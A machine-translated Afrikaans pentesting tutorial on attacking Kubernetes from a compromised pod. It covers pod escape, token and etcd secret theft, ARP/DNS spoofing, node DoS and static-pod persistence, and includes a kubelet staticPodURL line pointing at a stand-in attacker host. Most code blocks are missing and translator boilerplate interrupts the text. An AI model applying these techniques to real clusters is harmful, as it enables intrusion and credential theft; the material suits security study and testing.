Attacking Kubernetes from inside a Pod
Pod Uitbreek
As jy gelukkig genoeg is, kan jy dalk daaruit ontsnap na die node:
![](https://cloud.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Fsickrov.github.io%2Fmedia%2FScreenshot-161.jpg&width=768&dpr=4&quality=100&sign=a4b7533e&sv=1)
Ontsnapping uit die pod
Om te probeer ontsnap uit die pods, mag jy eers voorregte moet eskaleer, sommige tegnieke om dit te doen:
Jy kan hierdie docker-ontsnappings nagaan om te probeer ontsnap uit 'n pod wat jy gekompromiteer het:
Misbruik van Kubernetes Voorregte
Soos verduidelik in die afdeling oor kubernetes enumerasie:
Kubernetes EnumerationGewoonlik word die pods uitgevoer met 'n diensrekening token binne-in hulle. Hierdie diensrekening mag dalk sommige voorregte daaraan geheg hê wat jy kan misbruik om na ander pods te beweeg of selfs om te ontsnap na die nodes wat binne die groep geconfigureer is. Kyk hoe in:
Abusing Roles/ClusterRoles in KubernetesMisbruik van Wolksvoorregte
As die pod binne 'n wolk-omgewing uitgevoer word, kan jy dalk 'n token van die metadata-eindpunt lek en voorregte eskaleer deur dit te gebruik.
Soek kwesbare netwerkdienste
Aangesien jy binne die Kubernetes-omgewing is, as jy nie voorregte kan eskaleer deur die huidige pods se voorregte te misbruik en jy nie uit die houer kan ontsnap nie, moet jy potensieel kwesbare dienste soek.
Dienste
Vir hierdie doel kan jy probeer om al die dienste van die kubernetes-omgewing te kry:
Standaard gebruik Kubernetes 'n plat netwerkskema, wat beteken enige pod/diens binne die groep kan met ander kommunikeer. Die namespaces binne die groep het nie enige netwerksekuriteitsbeperkings standaard nie. Enigiemand in die namespace kan met ander namespaces kommunikeer.
Skandering
Die volgende Bash-skrip (geneem van 'n Kubernetes-werksessie) sal die IP-reeks van die kubernetes-groep installeer en skandeer:
Bespeur
In die geval waar die gekompromitteerde peul 'n sensitiewe diens hardloop waar ander peule moet verifieer, kan jy moontlik die geloofsbriewe verkry wat van die ander peule af gestuur word deur plaaslike kommunikasie te bespeur.
Netwerk Vervalsing
Standaard tegnieke soos ARP-vervalsing (en danksy dit DNS-vervalsing) werk in die kubernetes-netwerk. Dan, binne 'n peul, as jy die NET_RAW-vermoë het (wat standaard daar is), sal jy in staat wees om aangepaste vervaardigde netwerkpakkette te stuur en MitM-aanvalle uit te voer via ARP-vervalsing na al die peule wat op dieselfde node hardloop. Verder, as die boosaardige peul op dieselfde node as die DNS-bediener hardloop, sal jy in staat wees om 'n DNS-vervalsingsaanval na al die peule in die groep uit te voer.
Node DoS
Daar is geen spesifikasie van hulpbronne in die Kubernetes-manifeste en geen toegepaste limiet reekse vir die houers nie. As 'n aanvaller kan ons alle hulpbronne waar die peul/deployement hardloop, verbruik en ander hulpbronne uithonger en 'n DoS vir die omgewing veroorsaak.
Dit kan gedoen word met 'n instrument soos stress-ng:
Jy kan die verskil sien terwyl jy stress-ng
hardloop en daarna
Node Na-Exploitasie
Indien jy daarin geslaag het om uit die houer te ontsnap sal jy interessante dinge in die node vind:
Die Houer Uitvoeringsproses (Docker)
Meer pods/houers wat op die node hardloop wat jy kan misbruik soos hierdie een (meer tokens)
Die hele lêersisteem en OS in die algemeen
Die Kube-Proxy diens wat luister
Die Kubelet diens wat luister. Kontroleer konfigurasie lêers:
Gids:
/var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
Ander kubernetes algemene lêers:
$HOME/.kube/config
- Gebruiker Konfig/etc/kubernetes/kubelet.conf
- Gewone Konfig/etc/kubernetes/bootstrap-kubelet.conf
- Begin Konfig/etc/kubernetes/manifests/etcd.yaml
- etcd Konfigurasie/etc/kubernetes/pki
- Kubernetes Sleutel
Vind node kubeconfig
Indien jy nie die kubeconfig lêer in een van die vorige genoemde paaie kan vind nie, kontroleer die argument --kubeconfig
van die kubelet proses:
Steel Geheime
Die skripsie can-they.sh sal outomaties die tokens van ander pods kry en nagaan of hulle die toestemming het wat jy soek (in plaas daarvan dat jy een vir een moet soek):
Bevoorregte DaemonSets
'n DaemonSet is 'n pod wat in alle nodes van die groep sal hardloop. Daarom, as 'n DaemonSet ingestel is met 'n bevoorregte diensrekening, sal jy in ALLE nodes die teken van daardie bevoorregte diensrekening kan vind wat jy kan misbruik.
Die uitbuiting is dieselfde as in die vorige afdeling, maar jy hang nou nie van geluk af nie.
Pivoteer na die Wolk
As die groep deur 'n wolkdiens bestuur word, sal die Node gewoonlik 'n ander toegang tot die metadata-eindpunt hê as die Pod. Probeer dus om toegang tot die metadata-eindpunt vanaf die node te kry (of vanaf 'n pod met hostNetwork na True):
Kubernetes Pivoting to CloudsSteel etcd
As jy die nodeName van die Node wat die houer sal hardloop, kan spesifiseer, kry 'n skaal binne 'n beheervlak-node en kry die etcd-databasis:
control-plane nodes het die rol meester en in wolke bestuurde groepe sal jy nie in staat wees om enigiets daarin uit te voer nie.
Lees geheime van etcd
As jy jou houer op 'n beheer-vlak node kan hardloop deur die nodeName
kieser in die houer spesifikasie te gebruik, kan jy maklik toegang tot die etcd
databasis hê, wat al die konfigurasie vir die groep bevat, insluitend alle geheime.
Hieronder is 'n vinnige en vuil manier om geheime van etcd
te gryp as dit op die beheer-vlak node waarop jy is, hardloop. As jy 'n meer elegante oplossing wil hê wat 'n houer met die etcd
kliëntnut etcdctl
opskiet en die beheer-vlak node se geloofsbriewe gebruik om met etcd waar dit ook al hardloop, te verbind, kyk na [hierdie voorbeeld manifest] (https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) van @mauilion.
Kyk om te sien of etcd
op die beheer-vlak node hardloop en sien waar die databasis is (Dit is op 'n kubeadm
geskepte groep)
Die volgende is inhoud uit 'n hakboek oor haktegnieke. Die volgende inhoud is uit die lêer pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md.
Sien die data in etcd databasis:
Haal die tokens uit die databasis en wys die diensrekeningnaam
Dieselfde bevel, maar met 'n paar greps om net die verstek-token in die kube-stelsel-namespace terug te gee
Die volgende is inhoud uit 'n hakboek oor hak tegnieke. Die volgende inhoud is uit die lêer pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md.
Statische/Gespieëlde Pods Volharding
Statische Pods word direk deur die kubelet daemon op 'n spesifieke node bestuur, sonder dat die API-bediener hulle waarneem. Anders as Pods wat deur die beheervlak bestuur word (byvoorbeeld 'n Implementering); in plaas daarvan, kyk die kubelet na elke statiese Pod (en begin dit weer as dit misluk).
Daarom is statiese Pods altyd gebind aan een Kubelet op 'n spesifieke node.
Die kubelet probeer outomaties 'n spieël-Pod op die Kubernetes API-bediener skep vir elke statiese Pod. Dit beteken dat die Pods wat op 'n node hardloop sigbaar is op die API-bediener, maar nie van daar af beheer kan word nie. Die Pod-name sal gesuffix word met die node se gasheernaam met 'n voorafgaande strepie.
Die spec
van 'n statiese Pod kan nie na ander API-voorwerpe verwys (bv., ServiceAccount, ConfigMap, Secret, ens. So kan jy nie hierdie gedrag misbruik om 'n pod met 'n willekeurige serviceAccount in die huidige node te begin om die groep te kompromiteer nie. Maar jy kan dit gebruik om pods in verskillende benamingsruimtes te hardloop (indien dit nuttig is vir 'n rede).
As jy binne die node-gashouer is, kan jy dit maak om 'n statische pod binne homself te skep. Dit is baie nuttig omdat dit jou mag dalk toelaat om 'n pod in 'n ander benamingsruimte soos kube-system te skep.
Om 'n statiese pod te skep, is die dokumentasie 'n goeie hulp. Jy benodig basies 2 dinge:
Stel die parameter
--pod-manifest-path=/etc/kubernetes/manifests
in die kubelet-diens of in die kubelet-konfigurasie (staticPodPath) en begin die diens weerSkep die definisie op die pod-definisie in
/etc/kubernetes/manifests
'n Ander meer sluipende manier sou wees om:
Wysig die parameter
staticPodURL
van die kubelet-konfigurasielêer en stel iets soosstaticPodURL: http://aanvaller.com:8765/pod.yaml
in. Dit sal die kubelet-proses maak om 'n statische pod te skep deur die konfigurasie van die aangeduide URL te kry.
Voorbeeld van pod-konfigurasie om 'n bevoorregte pod in kube-system te skep geneem van hier:
Verwyder bokse + onskeduleerbare nodes
Indien 'n aanvaller 'n node gekompromiteer het en hy kan bokse van ander nodes verwyder en ander nodes onvermoë maak om bokse uit te voer, sal die bokse weer op die gekompromiteerde node hardloop en hy sal in staat wees om die tokens wat in hulle hardloop, te steel. Vir meer inligting volg hierdie skakels.
Outomatiese Gereedskap
Last updated